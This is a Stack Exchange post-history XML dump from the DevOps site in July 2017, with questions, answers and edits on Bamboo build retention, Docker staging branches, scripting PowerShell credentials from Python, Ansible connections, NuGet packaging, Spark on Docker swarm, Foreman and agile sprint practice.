  <row Id="5041" PostHistoryTypeId="3" PostId="1570" RevisionGUID="330fc532-a441-40f9-b107-7863a846a929" CreationDate="2017-07-20T08:23:53.833" UserId="3573" Text="&lt;monitoring&gt;&lt;amazon-cloudwatch&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5045" PostHistoryTypeId="2" PostId="1572" RevisionGUID="b7c06a56-4829-462b-ba8b-1b277fe4d279" CreationDate="2017-07-20T11:34:47.783" UserId="707" Text="In Jenkins, you could configure the system to retain a certain number of either successful or failed builds.&#xD;&#xA;&#xD;&#xA;With Bamboo, it seems like you can just retain a certain number of builds which rotates the last successful build after 10 failed builds out of the system.&#xD;&#xA;&#xD;&#xA;Is there a way in Bamboo to retain the last successful build for an unlimited time?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5046" PostHistoryTypeId="1" PostId="1572" RevisionGUID="b7c06a56-4829-462b-ba8b-1b277fe4d279" CreationDate="2017-07-20T11:34:47.783" UserId="707" Text="Retaining at least one successful build in Bamboo" ContentLicense="CC BY-SA 3.0" />
  <row Id="5047" PostHistoryTypeId="3" PostId="1572" RevisionGUID="b7c06a56-4829-462b-ba8b-1b277fe4d279" CreationDate="2017-07-20T11:34:47.783" UserId="707" Text="&lt;bamboo&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5048" PostHistoryTypeId="2" PostId="1573" RevisionGUID="095b142a-11ba-4a6c-b0f8-986adb72cf3e" CreationDate="2017-07-20T11:56:31.773" UserId="13" Text="IMHO if your successful build doesn't push to an artifact repository, there's a problem in your pipeline.  &#xD;&#xA;Jenkins or Bamboo do _not_ aim at keeping built artifacts forever and they doesn't give you any versioning delivery, as such that's a point of failure in your delivery system. &#xD;&#xA;&#xD;&#xA;I'd advise to review your method to use an artifact repository and that will solve this XY problem of keeping a successful build inside the build system used as an artefact source." ContentLicense="CC BY-SA 3.0" />
  <row Id="5049" PostHistoryTypeId="2" PostId="1574" RevisionGUID="a2cab07f-da65-4aa2-90ce-4ac1d08fd893" CreationDate="2017-07-20T15:40:23.787" UserId="2845" Text="&gt; 1) How can I run several different branches on the staging server?&#xD;&#xA;&#xD;&#xA;[Docker](https://en.wikipedia.org/wiki/Docker_(software))&#xD;&#xA;&#xD;&#xA;&gt; 2) How would I set up the DB evolution system to make sure it always has appropriate DB for each branch?&#xD;&#xA;&#xD;&#xA;This depends on how much you expect your DB to scale. [You can get pretty crazy with methods to clone database data](https://devops.stackexchange.com/questions/742/what-practices-or-tools-enable-continuous-deployment-of-databases/1220#1220) but typically you will want a master copy that you do not alter until your code is released into production - and keep good backups when you do. While you *infrastructure* can be immutable and disposable, your data is not. You can only *emulate* disposability with you data. 4.2 GB really isn't that much to copy. You could make a script to spawn a new database instance for each build to operate on, then discard it once testing is complete.&#xD;&#xA;&#xD;&#xA;&gt; 3) How do I keep these branches up-to-date? Is there a way to auto pull commits on each branch?&#xD;&#xA;&#xD;&#xA;You could consider using something like [git hooks](https://www.digitalocean.com/community/tutorials/how-to-use-git-hooks-to-automate-development-and-deployment-tasks) to trigger a build, force a code checkout or begin spawning a container and cloning your database. You could make an API call to a build automation system like [Jenkins](https://en.wikipedia.org/wiki/Jenkins_(software)) and/or use it to kick off a configuration management system like Puppet, Chef, Salt Stack, Ansible or something else. This would be more like an auto-pull than an auto push.&#xD;&#xA;&#xD;&#xA;From the wording of your answer, it's clear you are thinking of a mutable infrastructure, but consider using [immutable](https://devops.stackexchange.com/questions/412/what-are-immutable-servers) testing deployments instead." ContentLicense="CC BY-SA 3.0" />
  <row Id="5050" PostHistoryTypeId="2" PostId="1575" RevisionGUID="f6e2ab1a-6d35-4842-a321-999aae095297" CreationDate="2017-07-21T04:26:31.497" UserId="3592" Text="I am trying to write a python script which automates the powershell's Get-Credential method. Here is something i wrote:&#xD;&#xA;&#xD;&#xA;    import subprocess&#xD;&#xA;    COMMAND_LINE = 'powershell'&#xD;&#xA;    powershell = subprocess.Popen(COMMAND_LINE, shell=True,&#xD;&#xA;                                       stdin=subprocess.PIPE,&#xD;&#xA;                                       stderr=subprocess.STDOUT,&#xD;&#xA;                                       stdout=subprocess.PIPE)&#xD;&#xA;    output = powershell.stdout.readline()&#xD;&#xA;    print output.rstrip()&#xD;&#xA;    powershell.stdin.write('$cred = Get-Credential\n')&#xD;&#xA;    powershell.stdin.write('Administrator\n')&#xD;&#xA;    powershell.stdin.write('Password')&#xD;&#xA;    output = powershell.stdout.readline()&#xD;&#xA;    print output.rstrip()&#xD;&#xA;    out = powershell.communicate()[0]&#xD;&#xA;    print(out)&#xD;&#xA;&#xD;&#xA;But i am unable to pass the password as above, i am getting following exception:&#xD;&#xA;&#xD;&#xA;    &gt; PS /root&gt; $cred = Get-Credential&#xD;&#xA;    &gt; &#xD;&#xA;    &gt; Windows PowerShell credential request Enter your credentials. User:&#xD;&#xA;    &gt; Administrator Password for user Administrator: PS /root&gt;&#xD;&#xA;    &gt; PasswordPassword : The term 'Password' is not recognized as the name&#xD;&#xA;    &gt; of a cmdlet, function, script file, or operable program. Check the&#xD;&#xA;    &gt; spelling of the name, or if a path was included, verify that the path&#xD;&#xA;    &gt; is correct and try again. At line:1 char:1&#xD;&#xA;    &gt; + Password&#xD;&#xA;    &gt; + ~~~~~~~~&#xD;&#xA;    &gt;     + CategoryInfo          : ObjectNotFound: (Password:String) [], CommandNot    FoundException&#xD;&#xA;    &gt;     + FullyQualifiedErrorId : CommandNotFoundException&#xD;&#xA;&#xD;&#xA;As i am new to python, Can anyone help me here?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5051" PostHistoryTypeId="1" PostId="1575" RevisionGUID="f6e2ab1a-6d35-4842-a321-999aae095297" CreationDate="2017-07-21T04:26:31.497" UserId="3592" Text="How to automate Powershell's interactive Get-Credential method?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5052" PostHistoryTypeId="3" PostId="1575" RevisionGUID="f6e2ab1a-6d35-4842-a321-999aae095297" CreationDate="2017-07-21T04:26:31.497" UserId="3592" Text="&lt;linux&gt;&lt;python&gt;&lt;powershell&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5053" PostHistoryTypeId="50" PostId="1378" RevisionGUID="20f1846f-3696-493c-9b30-1fb671140948" CreationDate="2017-07-21T06:25:14.630" UserId="-1" />
  <row Id="5054" PostHistoryTypeId="2" PostId="1576" RevisionGUID="07b28231-c7c6-477e-a3bd-60e9546c2902" CreationDate="2017-07-21T07:49:10.183" UserId="13" Text="Your python problem is the `\n` after the commands, `write` already append a newline, so your script does the following:&#xD;&#xA;&#xD;&#xA;    $cred = Get-Credential # Start the command&#xD;&#xA;    # This line is ignored as extraneous after Get-Credential, but you can see it in your output.&#xD;&#xA;    Administrator # Send proprely to the User: prompt&#xD;&#xA;    # Sent to the Password: prompt&#xD;&#xA;    Password # Send to the shell input, causing the error at end of your log.&#xD;&#xA;&#xD;&#xA;Now that's a quite hard way to automate the credential object in powershell, usually the object is build by other way like described in [this blog post](https://blogs.technet.microsoft.com/gary/2009/07/23/creating-a-ps-credential-from-a-clear-text-password-in-powershell/) (quoting here for completeness):&#xD;&#xA;&#xD;&#xA;    $password = &quot;mypassword&quot; | ConvertTo-SecureString -asPlainText -Force&#xD;&#xA;    $username = &quot;nwtraders\administrator&quot; &#xD;&#xA;    $credential = New-ObjectSystem.Management.Automation.PSCredential($username,$password)&#xD;&#xA;&#xD;&#xA;And used as such:&#xD;&#xA;&#xD;&#xA;    Get-WMIObject win32_logicaldisk -ComputerName Server1 -Credential $credential&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5055" PostHistoryTypeId="5" PostId="1574" RevisionGUID="ca295e4a-3104-4a6e-87ca-317602f4262a" CreationDate="2017-07-21T07:51:29.077" UserId="13" Comment="Fixing answer =&gt; question as it seems to make more sense." Text="&gt; 1) How can I run several different branches on the staging server?&#xD;&#xA;&#xD;&#xA;[Docker](https://en.wikipedia.org/wiki/Docker_(software))&#xD;&#xA;&#xD;&#xA;&gt; 2) How would I set up the DB evolution system to make sure it always has appropriate DB for each branch?&#xD;&#xA;&#xD;&#xA;This depends on how much you expect your DB to scale. [You can get pretty crazy with methods to clone database data](https://devops.stackexchange.com/questions/742/what-practices-or-tools-enable-continuous-deployment-of-databases/1220#1220) but typically you will want a master copy that you do not alter until your code is released into production - and keep good backups when you do. While you *infrastructure* can be immutable and disposable, your data is not. You can only *emulate* disposability with you data. 4.2 GB really isn't that much to copy. You could make a script to spawn a new database instance for each build to operate on, then discard it once testing is complete.&#xD;&#xA;&#xD;&#xA;&gt; 3) How do I keep these branches up-to-date? Is there a way to auto pull commits on each branch?&#xD;&#xA;&#xD;&#xA;You could consider using something like [git hooks](https://www.digitalocean.com/community/tutorials/how-to-use-git-hooks-to-automate-development-and-deployment-tasks) to trigger a build, force a code checkout or begin spawning a container and cloning your database. You could make an API call to a build automation system like [Jenkins](https://en.wikipedia.org/wiki/Jenkins_(software)) and/or use it to kick off a configuration management system like Puppet, Chef, Salt Stack, Ansible or something else. This would be more like an auto-pull than an auto push.&#xD;&#xA;&#xD;&#xA;From the wording of your question, it's clear you are thinking of a mutable infrastructure, but consider using [immutable](https://devops.stackexchange.com/questions/412/what-are-immutable-servers) testing deployments instead." ContentLicense="CC BY-SA 3.0" />
  <row Id="5056" PostHistoryTypeId="6" PostId="1570" RevisionGUID="de3f0e1d-4561-40f3-bde4-b284d3c6aacb" CreationDate="2017-07-21T09:05:12.563" UserId="46" Comment="edited tags" Text="&lt;monitoring&gt;&lt;amazon-ec2&gt;&lt;amazon-cloudwatch&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5057" PostHistoryTypeId="2" PostId="1577" RevisionGUID="2668f5b2-b734-4afb-b9ef-7389989b84a9" CreationDate="2017-07-21T15:38:58.643" UserId="3602" Text="I want to ask some questions about working of Ansible.&#xD;&#xA;&#xD;&#xA;**1** - Which shell Ansible uses when logging to remote host ? &#xD;&#xA;&#xD;&#xA;https://askubuntu.com/questions/937354/track-logins-made-via-non-interactive-shells/937716?noredirect=1#comment1486867_937716&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**2** -  If I have 10 tasks in a playbook, then ansible makes connection 10 times to remote host OR uses a single connection to perform all these 10 tasks ?&#xD;&#xA;&#xD;&#xA;**3** - If I am running 10 tasks on 2 hosts,&#xD;&#xA;&#xD;&#xA;It will do first task on host 1 and then on host 2&#xD;&#xA;then second task on host 1 and then on host 2,&#xD;&#xA;..&#xD;&#xA;. so on, &#xD;&#xA;&#xD;&#xA;.&#xD;&#xA;&#xD;&#xA; So, here also the connection persists to both the hosts?&#xD;&#xA;&#xD;&#xA;OR&#xD;&#xA;&#xD;&#xA;does it firstly connect to host 1, runs task 1 and then disconnects AND then connects to host 2, runs task 1 and then disconnects ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I am sorry If I am asking annoying questions." ContentLicense="CC BY-SA 3.0" />
  <row Id="5058" PostHistoryTypeId="1" PostId="1577" RevisionGUID="2668f5b2-b734-4afb-b9ef-7389989b84a9" CreationDate="2017-07-21T15:38:58.643" UserId="3602" Text="Question about Ansible connection" ContentLicense="CC BY-SA 3.0" />
  <row Id="5059" PostHistoryTypeId="3" PostId="1577" RevisionGUID="2668f5b2-b734-4afb-b9ef-7389989b84a9" CreationDate="2017-07-21T15:38:58.643" UserId="3602" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5060" PostHistoryTypeId="2" PostId="1578" RevisionGUID="daa4e6b5-8d06-49e5-8505-a125466064fb" CreationDate="2017-07-21T19:08:44.110" UserId="3175" Text="Can't answer 1 (I always thought it just uses the default /bin/sh unless specified otherwise?).&#xD;&#xA;&#xD;&#xA;2. It will make the connection more than 10 times.  A single task will typically have an SCP or SFTP connection to copy the taskfile that'll get remotely executed, then another connection to trigger the script.  You can monitor this happening by running your playbook with -vvv, such as:&#xD;&#xA;&#xD;&#xA;        ansible-playbook deploy_app.yml -u maplebird -vvv&#xD;&#xA;&#xD;&#xA; 3rd-level verbosity shows all connections to client.&#xD;&#xA;&#xD;&#xA;3. By default, Ansible will execute tasks concurrently on all hosts up to the max configured number of forks.  So, it'll run task 1 on both hosts, then it'll run task 2 on both hosts, etc.  Forks are defined in ansible.cfg, and default to 5.  Change this variable to a higher number or comment it out:&#xD;&#xA;&#xD;&#xA;        forks = 5&#xD;&#xA;&#xD;&#xA;  Optionally, you can also do a rolling batch when running playbooks by specifying the `serial` option in the playbook.  This will only concurrently execute tasks for however many hosts you've defined.&#xD;&#xA;&#xD;&#xA;  Say you're running a playbook against 5 hosts, and have the serial option set.  With serial = 1, it will run the full playbook 1 host at a time.  With serial = 2, it will run hosts 1 &amp; 2, then hosts 2 &amp; 3, then host 5.  Example:&#xD;&#xA;&#xD;&#xA;        name: deploy to all webservers&#xD;&#xA;        hosts: webservers&#xD;&#xA;        serial: 2&#xD;&#xA;        roles:&#xD;&#xA;           - deploy_application&#xD;&#xA;&#xD;&#xA;More reading:&#xD;&#xA;&#xD;&#xA;Serial (rolling) playbook runs:&#xD;&#xA; &#xD;&#xA;* http://docs.ansible.com/ansible/latest/playbooks_delegation.html#rolling-update-batch-size&#xD;&#xA;&#xD;&#xA;Forks:&#xD;&#xA;&#xD;&#xA;* http://docs.ansible.com/ansible/latest/intro_configuration.html#forks&#xD;&#xA;&#xD;&#xA;Hope this helps." ContentLicense="CC BY-SA 3.0" />
  <row Id="5061" PostHistoryTypeId="2" PostId="1579" RevisionGUID="81062f23-88a7-46e7-8dbc-12f436036afe" CreationDate="2017-07-21T20:45:12.773" UserId="3062" Text="Our company has a product line and most development happens on the trunk.  We had 3 releases slotted back to back with the last one being an update to the first one.  the first one is in 3rd party testing with the second in in house testing.  The development of the third is completed but due to the amount of breaking changes was done on a separate branch of the first two.  This code needs to be placed on nugget to prevent any checked in code from referencing the local developers computer.  I don't want to make a nugget package for this branch as it will just die/get pruned when it goes into internal testing.  I also don't want to override the current package as internal testing may require changes to be made, causing confusion in version numbers.&#xD;&#xA;&#xD;&#xA;What is the best way to manage/publish branched DLLs using NuGet?  should NuGet even be used?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5062" PostHistoryTypeId="1" PostId="1579" RevisionGUID="81062f23-88a7-46e7-8dbc-12f436036afe" CreationDate="2017-07-21T20:45:12.773" UserId="3062" Text="Managing branched DLLs in nuget" ContentLicense="CC BY-SA 3.0" />
  <row Id="5063" PostHistoryTypeId="3" PostId="1579" RevisionGUID="81062f23-88a7-46e7-8dbc-12f436036afe" CreationDate="2017-07-21T20:45:12.773" UserId="3062" Text="&lt;nuget&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5064" PostHistoryTypeId="2" PostId="1580" RevisionGUID="d12981b0-8330-449a-9e97-89ae7417e87c" CreationDate="2017-07-21T21:06:02.457" UserId="707" Text="IMO the dashboard does not match the log error, or?&#xD;&#xA;&#xD;&#xA;Spark master dashboard says (similar for memory as well):&#xD;&#xA;&#xD;&#xA;&gt; Alive Workers: 2&#xD;&#xA;&gt; Cores in use: 2 Total, 0 Used&#xD;&#xA;&#xD;&#xA;Log:&#xD;&#xA;&#xD;&#xA;    17/07/21 20:48:45 WARN TaskSchedulerImpl: Initial job has not accepted any &#xD;&#xA;    resources; &#xD;&#xA;    check your cluster UI to ensure that workers are registered &#xD;&#xA;    and have sufficient resources&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Assuming there was e.g. not enough memory, how to determine that? Maybe a symptom, the workers get here and now &quot;dissociated&quot; but then reconnect." ContentLicense="CC BY-SA 3.0" />
  <row Id="5065" PostHistoryTypeId="1" PostId="1580" RevisionGUID="d12981b0-8330-449a-9e97-89ae7417e87c" CreationDate="2017-07-21T21:06:02.457" UserId="707" Text="Spark on a Docker swarm - workers won't accept jobs" ContentLicense="CC BY-SA 3.0" />
  <row Id="5066" PostHistoryTypeId="3" PostId="1580" RevisionGUID="d12981b0-8330-449a-9e97-89ae7417e87c" CreationDate="2017-07-21T21:06:02.457" UserId="707" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5067" PostHistoryTypeId="2" PostId="1581" RevisionGUID="6285a698-4171-4cf6-9ef8-46a1762c7a55" CreationDate="2017-07-22T12:25:11.827" UserId="707" Text="I reduced the test to the build-in Pi calculation:&#xD;&#xA;&#xD;&#xA;    ./bin/run-example SparkPi 10&#xD;&#xA;&#xD;&#xA;And got the same result; apparently 1G memory is insufficient even for simplest experiments.&#xD;&#xA;Increasing both master and workers memory to 4G and the behaviour was not reproducible. However before the systems start computation the message still could appear but just once, seems it is printed in a waiting loop." ContentLicense="CC BY-SA 3.0" />
  <row Id="5069" PostHistoryTypeId="50" PostId="1390" RevisionGUID="393208b5-bec9-440b-bf1f-458ccf1c3b79" CreationDate="2017-07-23T12:57:11.240" UserId="-1" />
  <row Id="5070" PostHistoryTypeId="5" PostId="1581" RevisionGUID="a5ef9743-1b0b-48e7-b441-c6b9fbd94d50" CreationDate="2017-07-23T19:37:11.643" UserId="707" Comment="added 48 characters in body" Text="TLDR; set workers' memory to 4G.&#xD;&#xA;&#xD;&#xA;I reduced the test to the build-in Pi calculation:&#xD;&#xA;&#xD;&#xA;    ./bin/run-example SparkPi 10&#xD;&#xA;&#xD;&#xA;And got the same result; apparently 1G memory is insufficient even for simplest experiments.&#xD;&#xA;Increasing both master and workers memory to 4G and the problematic behaviour was not reproducible. However before the systems start computation the message still could appear but just once, seems it is printed in a waiting loop." ContentLicense="CC BY-SA 3.0" />
  <row Id="5071" PostHistoryTypeId="2" PostId="1583" RevisionGUID="ebdfaec8-ad5f-48a9-875a-78402950b57c" CreationDate="2017-07-24T19:49:05.900" UserId="3632" Text="I am trying to setup Foreman to interface with my Puppet Master and Ansible installation.  Do I need to have this on the same server or can it be by itself and make API/port calls?  I am new to this so I don't know." ContentLicense="CC BY-SA 3.0" />
  <row Id="5072" PostHistoryTypeId="1" PostId="1583" RevisionGUID="ebdfaec8-ad5f-48a9-875a-78402950b57c" CreationDate="2017-07-24T19:49:05.900" UserId="3632" Text="When setting up Foreman should this be setup on the same server as my puppet ro ansible master?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5073" PostHistoryTypeId="3" PostId="1583" RevisionGUID="ebdfaec8-ad5f-48a9-875a-78402950b57c" CreationDate="2017-07-24T19:49:05.900" UserId="3632" Text="&lt;ansible&gt;&lt;automation&gt;&lt;puppet&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5075" PostHistoryTypeId="2" PostId="1584" RevisionGUID="136c7350-aa54-4bd1-884b-26c87a63e5c1" CreationDate="2017-07-25T09:40:46.930" UserId="210" Text="It is possible to prevent the overwrite of tag by listing the existing tags using https://github.com/jessfraz/reg and exit the pipeline if there is a duplicate." ContentLicense="CC BY-SA 3.0" />
  <row Id="5076" PostHistoryTypeId="2" PostId="1585" RevisionGUID="224be374-fc02-40f5-9fa6-9576b3ea7982" CreationDate="2017-07-25T09:41:57.107" UserId="3642" Text="1. Shell module use /bin/sh by default, but you can set executable in global config or locally in playbook.&#xD;&#xA;&#xD;&#xA;http://docs.ansible.com/ansible/latest/shell_module.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="5078" PostHistoryTypeId="50" PostId="1233" RevisionGUID="09179f18-d98a-4e87-a7ce-295056b45b8b" CreationDate="2017-07-25T14:35:13.910" UserId="-1" />
  <row Id="5079" PostHistoryTypeId="2" PostId="1586" RevisionGUID="64af4065-45d5-44f0-8986-a55615e0bbb9" CreationDate="2017-07-25T15:19:10.493" UserId="2845" Text="The Foreman comes with a puppet master whether you like it or not as The Foreman uses puppet as part of it's installer, so you might as well make the puppet master and your Foreman server one in the same. You can keep your Ansible installation elsewhere, however The Forman [integrates with Ansible](https://github.com/theforeman/foreman_ansible) and has [Ansible callbacks](https://theforeman.org/plugins/foreman_ansible/0.x/index.html)&#xD;&#xA; so it might make sense to keep your configuration management stack all in one place.&#xD;&#xA;&#xD;&#xA;On the other hand, The Forman can be a big install with lots of moving parts that seem to get gummed up from time to time,&#xD;&#xA; so you might be better off putting together an Ansible playbook to redeploy your Foreman stack since Ansible can also [manage your Forman resources](http://docs.ansible.com/ansible/latest/foreman_module.html) - so this would be a good argument to keep the Ansible bits seperated." ContentLicense="CC BY-SA 3.0" />
  <row Id="5080" PostHistoryTypeId="5" PostId="1584" RevisionGUID="9c8f429b-1082-4e20-8ffe-fc4c6348e3a3" CreationDate="2017-07-25T17:44:34.867" UserId="210" Comment="added 1 character in body" Text="It is possible to prevent the overwrite of tags by listing the existing tags using https://github.com/jessfraz/reg and exit the pipeline if there is a duplicate." ContentLicense="CC BY-SA 3.0" />
  <row Id="5081" PostHistoryTypeId="5" PostId="1586" RevisionGUID="3efe60b0-c335-4a22-b85b-a571427d9890" CreationDate="2017-07-25T18:28:30.003" UserId="2845" Comment="added 108 characters in body" Text="The Foreman comes with a Puppet Master whether you like it or not since The Foreman uses puppet as part of it's installer. This can't be disabled and The Forman will leave it behind and running - so you might as well use what is deployed anyway and make the Puppet Master and your Foreman server one in the same. You can keep your Ansible installation elsewhere, however The Forman [integrates with Ansible](https://github.com/theforeman/foreman_ansible) and has [Ansible callbacks](https://theforeman.org/plugins/foreman_ansible/0.x/index.html)&#xD;&#xA; so it might make sense to keep your configuration management stack all in one place.&#xD;&#xA;&#xD;&#xA;On the other hand, The Forman can be a big install with lots of moving parts that seem to get gummed up from time to time,&#xD;&#xA; so you might be better off putting together an Ansible playbook to redeploy your Foreman stack since Ansible can also [manage your Forman resources](http://docs.ansible.com/ansible/latest/foreman_module.html) - so this would be a good argument to keep the Ansible bits seperated." ContentLicense="CC BY-SA 3.0" />
  <row Id="5082" PostHistoryTypeId="2" PostId="1587" RevisionGUID="6ddee684-8a02-4a53-a23c-ff11e0b4815d" CreationDate="2017-07-25T20:09:25.937" UserId="3653" Text="I'm not clear how a Sprint which is timed-box to a predetermined length (1/2/3 weeks) fits with a DevOps principle of being able to deploy once a day.&#xD;&#xA;&#xD;&#xA;Is deploying to production part of the definition of done rather than a post activity to the overall sprint?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5083" PostHistoryTypeId="1" PostId="1587" RevisionGUID="6ddee684-8a02-4a53-a23c-ff11e0b4815d" CreationDate="2017-07-25T20:09:25.937" UserId="3653" Text="How to correlate Devops Deploy-Once-A-Day with Agile Sprint Process" ContentLicense="CC BY-SA 3.0" />
  <row Id="5084" PostHistoryTypeId="3" PostId="1587" RevisionGUID="6ddee684-8a02-4a53-a23c-ff11e0b4815d" CreationDate="2017-07-25T20:09:25.937" UserId="3653" Text="&lt;culture&gt;&lt;release&gt;&lt;process&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5085" PostHistoryTypeId="2" PostId="1588" RevisionGUID="f0391a77-da63-402d-b39d-937c5868f2c5" CreationDate="2017-07-25T21:34:33.613" UserId="3654" Text="All of the tutorials online say to manually start elasticsearch as a daemon with a docker command from the command line. Is there a way to auto run it like redis, postgres and other services do from the docker compose yaml file?" ContentLicense="CC BY-SA 3.0" />
  <row Id="5086" PostHistoryTypeId="1" PostId="1588" RevisionGUID="f0391a77-da63-402d-b39d-937c5868f2c5" CreationDate="2017-07-25T21:34:33.613" UserId="3654" Text="Autorun ElasticSearch with Docker Compose" ContentLicense="CC BY-SA 3.0" />
  <row Id="5087" PostHistoryTypeId="3" PostId="1588" RevisionGUID="f0391a77-da63-402d-b39d-937c5868f2c5" CreationDate="2017-07-25T21:34:33.613" UserId="3654" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5088" PostHistoryTypeId="2" PostId="1589" RevisionGUID="53ca988a-0ca8-4b22-acea-158c557b5f47" CreationDate="2017-07-25T22:07:56.623" UserId="210" Text="**Sysadmin vs. DevOps (personal view)**&#xD;&#xA;&#xD;&#xA;Some companies talk about Dev, Ops and Test. If something needs to be tested then they say: &quot;Test should do that&quot;. If something needs to be developed, Dev will do that and if software needs to be deployed, Ops will do that.&#xD;&#xA;&#xD;&#xA;In my opinion and what I have experienced at several companies is that this results in a &quot;throw it over the wall&quot; mindset that results in friction between people and teams. Personally, I sometimes feel that people work individually and say this is what I did, I have nothing to do instead of working as a team.&#xD;&#xA;&#xD;&#xA;According to me DevOps means that everybody in a team is responsible and busy with development, testing and operations. There is no I in a team and no separate departments. Everybody should release. Of course there are specialties, but in my opinion everybody should be able to do at least 25% of some work in every area. E.g. if someone was a Developer back in the days then one should be able to change some configuration management code, e.g. chef and deploy software.&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA;Sysadmin&#xD;&#xA;&#xD;&#xA;According to [Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; A system administrator, or sysadmin, is a person who is responsible&#xD;&#xA;&gt; for the upkeep, configuration, and reliable operation of computer&#xD;&#xA;&gt; systems; especially multi-user computers, such as servers.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The system administrator seeks to ensure that the uptime, performance,&#xD;&#xA;&gt; resources, and security of the computers he or she manages meet the&#xD;&#xA;&gt; needs of the users, without exceeding the budget.&#xD;&#xA;&gt; &#xD;&#xA;&gt; To meet these needs, a system administrator may acquire, install, or&#xD;&#xA;&gt; upgrade computer components and software; provide routine automation;&#xD;&#xA;&gt; maintain security policies; troubleshoot; train or supervise staff; or&#xD;&#xA;&gt; offer technical support for projects.&#xD;&#xA;&#xD;&#xA;DevOps&#xD;&#xA;&#xD;&#xA;According to [Wikipedia][2]:&#xD;&#xA;&#xD;&#xA;&gt; DevOps (a clipped compound of &quot;development&quot; and &quot;operations&quot;) is a&#xD;&#xA;&gt; software development and delivery process that emphasizes&#xD;&#xA;&gt; communication and collaboration between product management, software&#xD;&#xA;&gt; development, and operations professionals. It supports this&#xD;&#xA;&gt; by automating and monitoring the process of software integration,&#xD;&#xA;&gt; testing, deployment, and infrastructure changes by establishing a&#xD;&#xA;&gt; culture and environment where building, testing, and releasing&#xD;&#xA;&gt; software can happen rapidly, frequently, and more reliably.&#xD;&#xA;&#xD;&#xA;[DevOps][3]&#xD;&#xA;&#xD;&#xA;[![enter image description here][4]][4]&#xD;&#xA;&#xD;&#xA;[DevOps Toolchain][5]&#xD;&#xA;&#xD;&#xA;[![enter image description here][6]][6]&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/System_administrator&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/DevOps&#xD;&#xA;  [3]: https://upload.wikimedia.org/wikipedia/commons/b/b5/Devops.svg&#xD;&#xA;  [4]: https://i.stack.imgur.com/tdlPb.png&#xD;&#xA;  [5]: https://upload.wikimedia.org/wikipedia/commons/0/05/Devops-toolchain.svg&#xD;&#xA;  [6]: https://i.stack.imgur.com/Lq9Xq.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="5089" PostHistoryTypeId="2" PostId="1590" RevisionGUID="df649e9e-625b-4305-b6cf-e5bb8f93c0ca" CreationDate="2017-07-25T23:13:08.743" UserId="2313" Text="There is no &quot;Deploy-once-a-day&quot; rule in devops philosophy. It's more of: Deploy as soon as possible and as often as possible. Also it calls for decoupling architecture so different parts of it may be released separately and also for decoupling deploys from release.&#xD;&#xA;&#xD;&#xA;The Deveops Handbook by Gene Kim et al.calls for modifying Definition of Done to include running in production-like environments. That is follow the devops principles all the time during the sprint.&#xD;&#xA;&#xD;&#xA;What you want to avoid is ending a sprint with all the developers handing over their code that is tested, is working but is not integrated and is handed to other team to be deployed, somehow.&#xD;&#xA;&#xD;&#xA;I'd argue that definition of done is : it's not done until it's ready to run in production. Once it's ready you may or may not release it depending on your specific business needs and the sprint goal but if it's not ready to be released right now it's not done." ContentLicense="CC BY-SA 3.0" />
  <row Id="5090" PostHistoryTypeId="6" PostId="1587" RevisionGUID="10bed13a-f1c1-4a3e-aade-1e979dc4ecb3" CreationDate="2017-07-26T00:46:56.947" UserId="2313" Comment="+1 needed tag" Text="&lt;culture&gt;&lt;release&gt;&lt;process&gt;&lt;agile&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5091" PostHistoryTypeId="24" PostId="1587" RevisionGUID="10bed13a-f1c1-4a3e-aade-1e979dc4ecb3" CreationDate="2017-07-26T00:46:56.947" Comment="Proposed by 2313 approved by -1 edit id of 380" ContentLicense="CC BY-SA 3.0" />
  <row Id="5092" PostHistoryTypeId="5" PostId="1587" RevisionGUID="47792845-1ac2-4a23-9df4-09edaed75ce0" CreationDate="2017-07-26T00:46:56.947" UserId="3653" Comment="changed &quot;once-a-day&quot; to on-demand.  Added additional question to capture essence of question." Text="I'm not clear how a Sprint which is timed-box to a predetermined length (1/2/3 weeks) fits with a DevOps principle of being able to deploy on demand or as needed.&#xD;&#xA;&#xD;&#xA;Is deploying to production part of the definition of done rather than a post activity to the overall sprint?&#xD;&#xA;&#xD;&#xA;How does the sprint process capture that code was deployed to production in the middle of a sprint rather than at the end where the goal is to have &quot;potentially shippable product&quot;?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="5093" PostHistoryTypeId="4" PostId="1587" RevisionGUID="47792845-1ac2-4a23-9df4-09edaed75ce0" CreationDate="2017-07-26T00:46:56.947" UserId="3653" Comment="changed &quot;once-a-day&quot; to on-demand.  Added additional question to capture essence of question." Text="How to correlate Devops deploy on demand with Agile Sprint Process" ContentLicense="CC BY-SA 3.0" />
